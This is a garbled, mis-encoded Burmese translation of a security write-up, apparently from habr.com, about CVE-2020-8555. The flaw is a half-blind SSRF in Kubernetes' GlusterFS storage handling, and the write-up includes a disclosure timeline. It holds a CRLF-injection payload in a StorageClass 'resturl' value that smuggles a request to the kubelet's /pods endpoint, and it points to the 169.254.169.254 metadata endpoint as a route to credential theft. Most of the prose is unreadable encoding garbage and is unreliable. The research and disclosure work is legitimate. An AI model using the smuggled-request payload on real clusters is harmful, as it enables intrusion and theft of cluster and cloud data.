- Kubernetes á¡á á¯á¡áá±ážááẠ1.12 áááºáááá·áºáá±á¬ Golang áá¬ážááŸááºážááᯠá¡áá¯á¶ážááŒá¯ááá«áááºá
áá»áœááºá¯ááºááá¯á·ááẠGlusterFS Go áááá¯ááºážááá·áºááŸáá·áº áá áºááŸááºáá¬áá¬á¡áá¯á¡ááŒá¬áž áááºááœááºááŸá¯ááᯠá¡áá¯áá°ááá·áº áá±áááœááºážáááºáááºážáá»ááºááᯠááŒáá·áºáá»ááºáá¬ážáá«ááẠ(ááá¯á¡áá»áááºááœáẠáá»áœááºá¯ááºááá¯á·ááẠPoC ááᯠáá¯ááºáá±ááŒááºážá០ááŸá±á¬ááºááŒááºáá«áááº)á
ááœá±á·ááŸááá²á·áááºá
á¡áááºááœááºáá±á¬áºááŒáá¬ážáá±á¬ half-blind SSRF ááᯠáá±á«ááºážá ááºááŒááºážááŒáá·áº вЌеÑÑе áááºážááŸáá·áºá¡áá°á ááá¯á·áá±á¬áẠkube-controller-manager á០áá¯ááºáá±á¬ááºáá²á·áá±á¬ áá±á«ááºážá á®ážáá»á¬ážá HTTP áááºážáááºážá ááá·áºáááºáá»ááºáá»á¬ážááŸáá·áº áá±áá¬áá»á¬áž á¡áá«á¡ááẠáá»áœááºá¯ááºááá¯á·á á áááºááŒáá¯áẠáá±á¬ááºážááá¯áá»ááºáá»á¬ážááᯠáá±ážááá¯á·ááá¯ááºáá²á·áá«áááºá
á€áááºááŸá¬ ááá·áºáááºáá±á¬ááºáá
áºáá¯ááŸá á¡áá¯ááºáá¯ááºáá±á¬ "áá«ážá
á¬" á á¥ááá¬áá
áºáá¯ááŒá
áºáááºá resturl
á¡áá¬ážáá° ááá¯ááºááá¯ááºááŸá¯ ááŒááºááœááºážááᯠá¡áá±á¬ááºá¡áááºáá±á¬áºááá·áº StorageClassá
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn
ááááºááẠá¡ááŸá¬ážáá áºáá¯ááŒá áºáááºá ááá±á¬ááºážááá¯áá±á¬ áá¯á¶á·ááŒááºááŸá¯controller ááŸááºáááºážáá»á¬ážááœáẠááŸááºáááºážáááºáá¬ážááá·áº á¡ááŒá±á¬ááºáž áááºáá±á·áá»áºá áá°áááºážá¡ááá¯ááºáž ááœáá·áºáá¬ážááá·áº á áá¬ážáá¯á¶ážá¡áá¯á¶ážá¡ááŸá¯ááºážááŒá±á¬áá·áº HTTP áá¯á¶á·ááŒááºááŸá¯áááºáá±á·áá»áºá á¡ááŒá±á¬ááºážá¡áá¬áá»á¬ážááá¯áááºáž ááá¯áá±áá¬ááœáẠááááºážáááºážáá¬ážáááºá
áááºážááẠá¡áá°á¡ááááºáá±ááŒááŸá¯áá±á¬ááºá¡ááœááºáž áá»áœááºá¯ááºááá¯á·á á¡áááá±á¬ááºáá¯á¶ážáá±á¬ "áá«ážá
á¬" ááŒá
áºáááºá
á€áá»ááºážáááºááŸá¯ááᯠá¡áá¯á¶ážááŒá¯ááŒááºážááŒáá·áºá á¡áá»áá¯ážáá»áá¯ážáá±á¬ á á®áá¶ááá·áºááœá²áá¬ážáá±á¬ k8s áááºáá±á¬ááºááŸá¯áá±ážáá°áá»á¬ážá á¡á á¯á¡áá±ážáá»á¬ážá¡áá±á«áºááœáẠá¡á±á¬ááºáá«ááá¯ááºááá¯ááºááŸá¯á¡áá»áá¯á·ááᯠáá¯ááºáá±á¬ááºááá¯ááºáááº- áááºáá¬áá±áá¬ááŒá áºáááºáá»á¬ážááœáẠá¡áá±á¬ááºá¡áá¬ážáá»á¬ážááŸáá·áºá¡áá° á¡ááœáá·áºáá°ážááá¯ážááŒááºážá etcd master instances áá»á¬ážááœáẠ(áá¯ááºááá¬ážáá±á¬) HTTP áá±á¬ááºážááá¯áá»ááºáá»á¬ážááŸáá áºááá·áº Master DoS á áááºááá¯á·ááᯠáá¯ááºáá±á¬ááºááá¯ááºáá²á·áááºá
ááá¯ážáá»áá¯ážáá»á¬áž
áá»áœááºá¯ááºááá¯á·ááœá±á·ááŸááá²á·áá±á¬ SSRF á¡á¬ážáááºážáá»ááºááŸáá·áºáááºáááºá Kubernetes áááá¬ážáááºáá¯ááºááŒááºáá»ááºááœáẠáááºážá¡á¬áž á¡ááá·áºáááºááŸááºáá²á·áááºá CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:Ná Kubernetes áááºáááºážáá»ááºááŸáá·áº áááºá ááºáá±áá±á¬ á¡á¬ážáááºážáá»ááºááá¯áᬠáá¯á¶ážáááºáá«áá ááá¬ááááŸáááŸá¯ á¡á¬ážáááºážáá»áẠ(ááá¬áá vector) á¡ááŒá áºá¡áááºá¡áá»ááºážááŒáá·áºáá®áááºá á¡áááºáá°áá»áŸá.
ááá¯á·áá±á¬áºáááºážá á á®áá¶ááá·áºááœá²áá¬ážáá±á¬ áááºáá±á¬ááºááŸá¯áááºáááºážáá»ááºááœáẠááŒá áºááá¯ááºááŒá±ááŸááá±á¬ á¡áá»áá¯ážáááºáá»á¬ážááᯠá¡áá²ááŒááºááŒááºáž (áááºážááẠáá»áœááºá¯ááºááá¯á·á áá¯áá±ááááŒá¯ááŸá¯á á áááºáááºá á¬ážá áá¬á¡áá±á¬ááºážáá¯á¶áž á¡á áááºá¡ááá¯ááºážááŒá áºáááº!) á¡á¬ážáááºážáá»ááºááᯠá¡ááá·áºáááºááŸááºáá»ááºá¡ááŒá ẠááŒááºáááºááœá²ááŒá¬ážáááºááŸááºááẠáá»áœááºá¯ááºááá¯á·ááᯠááŸá¯á¶á·áá±á¬áºáá±ážáá²á·áááºá á¡áá±ážáá«áá±á¬ CVSS10/10 ááŒáá·áºááŒá°ážáá°á¡áá»á¬ážá¡ááŒá¬ážá¡ááœááºá
Cloud áááºáááºážáá»ááºáá»á¬ážááœáẠááŒá áºááá¯ááºáá»á±ááŸááá±á¬ áááºáá±á¬ááºááŸá¯áá»á¬ážááᯠá¡áá²ááŒááºááá·áºá¡áá« áá»áœááºá¯ááºááá¯á·á ááá·áºááœááºážá ááºážá á¬ážáá»ááºáá»á¬ážááᯠáá¬ážáááºááẠáá°áá®áá±ážáááºá¡ááœáẠá¡á±á¬ááºááœááºáá±á¬áºááŒáá¬ážáá±á¬ á¡áá»ááºá¡áááºáá»á¬ážááẠáááºáá±á¬ááºážá¡áá»ááºá¡áááºáá»á¬ážááŒá áºáá«áááºá
ááá¬áá
- ááá°áá¬ážáá±á¬ á¡ááœááºážááá¯ááºážá¡áá±á¬ááºá¡áá¬ážáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯á á¡áá±ážá០ááœáŸááºááŒá¬ážáá»ááºáá»á¬ážááᯠáá¯ááºáá±á¬ááºáá«á
- IDOR (Insecure Direct Object Reference) áááºážáááºážááᯠá¡áá¯á¶ážááŒá¯á á¡áááºáá±á¬áºááŒáá« ááŒááºááœááºážááᯠáá±áááœááºáž ááœááºáááºáá±á«áºááœáẠááœá±á·ááŸááááá·áº á¡ááŒá¬ážá¡áááºážá¡ááŒá áºáá»á¬ážááŒáá·áº ááŒááºáááºáá¯ááºáá±ááŒááºážá
áá»áŸáá¯á·ááŸááºááŒááºáž
- ááá¯ááºááá¯ááºááŸá¯á¡áá»áá¯ážá¡á
á¬áž
ááŸá ẠáŠáž ááŸá áºáááºááŸá¯ááºááŸá¬ážááŸá¯ cloud á¡áá±á¬ááºá¡áá¬ážáá»á¬áž ááá¯ážáá°ááŒááºáž (á¥ááá¬á áááºáá¬áá±áᬠAPI) ááŒá±á¬áá·áºá - áá±áááœááºážááœááºáááºááá¯á áááºááºáááºááŒááºážááŒáá·áº á¡áá»ááºá¡áááºá á¯áá±á¬ááºážááŒááºáž (SSH áá¬ážááŸááºážá HTTP áá¬áá¬áá¬ážááŸááºážá ...)
- áááºáá¬áá±áᬠAPI áá²á·ááá¯á·áá±á¬ á¡ááœááºážááá¯ááºáž API áá»á¬ážááᯠá
á
áºáááºážáá±á¬ááºáá°ááŒááºážááŒáá·áº á¥ááá¬ááŸáá·áº á¡ááŒá±áá¶á¡áá±á¬ááºá¡á¡á¯á¶ááá¯ááºáᬠá¡áá»ááºá¡áááºáá»á¬ážááᯠá
á¯áá±á¬ááºážáá«á
http://169.254.169.254
, ... ) á - cloud á¡áá±á¬ááºá¡áá¬ážáá»á¬ážááᯠá¡áá¯á¶ážááŒá¯á áá¯á¶ážá áœá²áá°áá±áá¬ááᯠááá¯ážáá°ááŒááºážá
á¡áá¯á¶ážááŒá¯ááá¯ááºááŸá¯
ááá¯ááºááá¯ááºááŸá¯ vector áá»á¬ážááŸáá·áº áááºá ááºáá±á¬ exploit scenarios á¡á¬ážáá¯á¶ážááᯠon ááá¬ááá á¡áá»ááºáá¯ááºáááºáá»á¬ážá¡ááœáẠá¡áá¯á¶ážááŒá¯ááá¯ááºááŒá®áž áááá¯ááºážááá·áº áááºáááºážáá»áẠ(ááá¯á·ááá¯áẠá¡ááŒá¬ážáááºááá·áºá¡áá¬áááá¯) ááááŸáááá¯ááºááá·áº áá¬á áá¬ááŒá áºáááºáá»á¬ážáá®ááá¯á· áŠážáááºááœá¬ážááá¯ááºáááºá
áá»áœááºá¯ááºááá¯á·ááẠá á®áá¶ááá·áºááœá²áá¬ážáá±á¬ K8s áááºáááºážáá»ááºááœááºááŸáá ááá¬ááá¡áá±á«áº á¡áá»áá¯ážáááºáá±á¬ááºááŸá¯ááᯠá¡áá²ááŒááºááŒááºážááŒá áºáá±á¬ááŒá±á¬áá·áºá áááŸáááá¯ááºááŸá¯á¡áá±á«áº áááºáá±á¬ááºááŸá¯ááŸáááá¯ááºáá±á¬ ááŒááºááœááºážáá»á¬ážá áœá¬ááᯠáá»áœááºá¯ááºááá¯á· á áááºáá°ážááŒáá·áºááá¯ááºáá«áááºá áá±á¬ááºáááºá¥ááá¬áá»á¬ážááœáẠetcd áá±áá¬áá±á·á áºááᯠáá»ááºá á®ážá á±ááŒááºáž ááá¯á·ááá¯áẠKubernetes API ááá¯á· á¡áá±ážááŒá®ážáá±á¬áá±á«áºááá¯ááŸá¯áá áºáᯠááŒá¯áá¯ááºááŒááºážááá¯á· áá«áááºáááºá
áááºááá¬áá»á áá»
- áá®áááºáᬠ6á 2019- á¡á¬ážáááºážáá»ááºááẠMSRC Bug Bounty ááá¯á· ááá¯ááºááŒá¬ážáá²á·áááºá
- áááºááá«áá® 3á 2020- áá»áœááºá¯ááºááá¯á·ááẠáá¯á¶ááŒá¯á¶áá±ážááŒá¿áá¬ááᯠáá¯ááºáá±á¬ááºáá±ááŒá±á¬ááºáž ááŒááºáá¡ááœá²á·á¡á ááºážá០Kubernetes developer áá»á¬ážá¡á¬áž á¡áááá±ážáá²á·áááºá SSRF á¡á¬áž á¡ááœááºážááá¯ááºáž (in-core) á¡á¬ážáááºážáá»ááºá¡ááŒá Ạááá·áºááœááºážá ááºážá á¬ážááẠáááºážááá¯á·á¡á¬áž áá±á¬ááºážááá¯áá²á·áááºá ááá¯á·áá±á¬áẠáá»áœááºá¯ááºááá¯á·ááẠááŒá¿áá¬áá¡áááºážá¡ááŒá áºááŸáá·áºáááºáááºááá·áº áááºážááá¬ááá¯ááºáá¬á¡áá±ážá áááºá¡áá»ááºá¡áááºáá»á¬ážááŸáá·áºá¡áá° á¡ááœá±ááœá±á¡á á®áááºáá¶á á¬ááᯠáá±ážáá²á·áá«áááºá
- áááºááá«áá® 15 áááºá 2020- áá»áœááºá¯ááºááá¯á·ááẠáááºážááá¯á·ááá±á¬ááºážááá¯ááŸá¯á¡á Kubernetes developer áá»á¬ážá¡á¬áž áááºážááá¬ááá¯ááºážááá¯ááºáá¬ááŸáá·áº á¡ááœá±ááœá±á¡á á®áááºáá¶á á¬áá»á¬áž (HackerOne ááááºáá±á¬ááºážááŸáááá·áº) áá±ážáá¬ážáá«áááºá
- áááºááá«áá® 15á 2020- ááœááºáá²á·ááá·áºáá¯ááºáá±ááŸá¯áá»á¬ážá¡ááœáẠáá áºáááºáááºážáá±á¬ SSRF + CRLF ááá¯ážááŒááºážááᯠKubernetes áá±á¬á·ááºáá²á¡ááºáá»ááºáá®áá¬áá»á¬ážá áá»áœááºá¯ááºááá¯á·á¡á¬áž á¡áááá±ážáá²á·áááºá áá»áœááºá¯ááºááá¯á·ááẠá¡ááŒá¬ážáááºáá±á¬ááºááŸá¯áá±ážáá°áá»á¬ážá áááºáááºážáá»ááºáá»á¬ážááᯠááœá²ááŒááºážá áááºááŒá¬ááŒááºážá¡á¬áž áá»ááºáá»ááºážáááºááá·áºááá¯ááºáááº- K8s á¡ááœá²á·ááẠááá¯á¡áá« áá°áá¡ááŒá±á¬ááºážá¡áááºážááᯠááŒá±ááŸááºážáá±áá«áááºá
- áááºááá«áá® 15 áááºá 2020- HackerOne ááŸáááŸááá±á¬ MSRC áá¯áá¬ááºá
- áááºááá«áá® 16á 2020- Kubernetes PSC (áá¯ááºáá¯ááºáá¯á¶ááŒá¯á¶áá±ážáá±á¬áºááá®) ááẠá¡á¬ážáááºážáá»ááºááᯠá¡ááá¡ááŸááºááŒá¯áá²á·ááŒá®áž ááŒá áºááá¯ááºáá»á±ááŸááá±á¬ áá¬ážáá±á¬ááºá¡áá±á¡ááœááºáá»á¬ážáá±á¬ááŒá±á¬áá·áº áááºááááºá¡áá áá»áŸáá¯á·ááŸááºáá¬ážááẠáá±á¬ááºážááá¯áá²á·áááºá
- áá±áá±á¬áºáá«áá® 11 áááºá 2020- Google VRP áá¯áá¬ááºááᯠáááŸááá²á·áááºá
- áááºá 4 áááºá 2020- HackerOne ááŸáááŸááá±á¬ Kubernetes áá¯áá¬ááºá
- áááºá 15 áááºá 2020- COVID-19 á¡ááŒá±á¡áá±ááŒá±á¬áá·áº áá°áá á®á ááºáá¬ážááá·áº á¡áá»á¬ážáá°ááŸá¬áá¯ááºáá±á¬áºááŸá¯ááᯠááœáŸá±á·ááá¯ááºážáá¬ážáááºá
- ááœááºá 1 áááºá 2020- á¡á¬ážáááºážáá»ááºá¡ááŒá±á¬ááºáž Kubernetes + Microsoft áá°ážááœá²áá¯ááºááŒááºáá»ááºá
TL; DR
- áá®áá¬áá±á¬ááºááŒá®áž áá®áá¬á á¬ážááẠ:)
- áá»áœááºá¯ááºááá¯á·ááẠááá¯ááá¯á·áá¯ááºáá±á¬ááºááẠáááºááœááºáá»ááºáááŸááá±á¬áºáááºáž Kubernetes ááœáẠá¡ááŒá±áá¶á¡á¬ážáááºážáá»ááºáá áºáá¯ááᯠááœá±á·ááŸááá²á·áááºá
- áá»áœááºá¯ááºááá¯á·ááẠááá°áá®áá±á¬ cloud áááºáá±á¬ááºááŸá¯áá±ážáá°áá»á¬ážá á¡á á¯á¡áá±ážáá»á¬ážá¡áá±á«áº áááºáá±á¬ááºážááœá²ááŒááºážá áááºááŒá¬ááŸá¯áá»á¬áž ááŒá¯áá¯ááºáá²á·ááŒá®áž á¡ááá¯áá±á¬ááºážáá°ážáá»áœááºáá¯ááŒá±ážááœá±áá»á¬ážáááŸáááẠá¡á¬ážáááºážáá»ááºááŒá±á¬áá·áº áá»ááºá á®ážáá¯á¶ážááŸá¯á¶ážááŸá¯áá»á¬ážááᯠááá¯ážááŒáŸáá·áºááá¯ááºáá²á·áááºá
- á€áá±á¬ááºážáá«ážááœáẠáááºážááá¬ááá¯ááºáᬠá¡áá±ážá
áááºá¡áá»ááºáá»á¬ážá
áœá¬ááᯠáááºááœá±á·áááá·áºáááºá áá°ááá¯á·áá²á· ááœá±ážááœá±ážááᬠáááºážáá¬áá«ááẠ(Twitter-
@ReeverZax &@__hach_ ). - áááºážáááºážáá»áá¯ážá á¯á¶áá²á· á¡á á®áááºáá¶ááŸá¯ááœá±áᬠáá»áŸá±á¬áºááá·áºáá¬ážáá¬ááẠá¡áá»á¬ážááŒá®áž ááá¯ááŒá¬ááœá¬ážáá¬ááᯠááœá±á·ááááºá
ááá¯ážáá¬áž
-
Google á¡ááœá²á· kubernetes-security-nounce ; -
CVE-2020-8555 ; -
Golang á á¬á á±á¬áẠá¡ááŸáẠááááá ; -
heketi/client/api/go-client/volume.go .
PS áá¬áá¬ááŒááºááŸ
áá»áœááºá¯ááºááá¯á·áááá±á¬á·ááºááœááºáááºážáááºáá«
- «
Kubernetes bug ááŸá¬ááœá±ááŸá¯ááᯠááá¬ážáááºááœáá·áºáá¬ážáááºá "; - «
ááŸááºáááºážáá»á¬ážááᯠáááºáááºááŒááºážááŒáá·áº Kubernetes ááœáẠpod áá áºáá¯á០ááœááºááŒááºážá "; - «
33+ Kubernetes áá¯á¶ááŒá¯á¶áá±ážáááááá¬áá»á¬áž "á
source: www.habr.com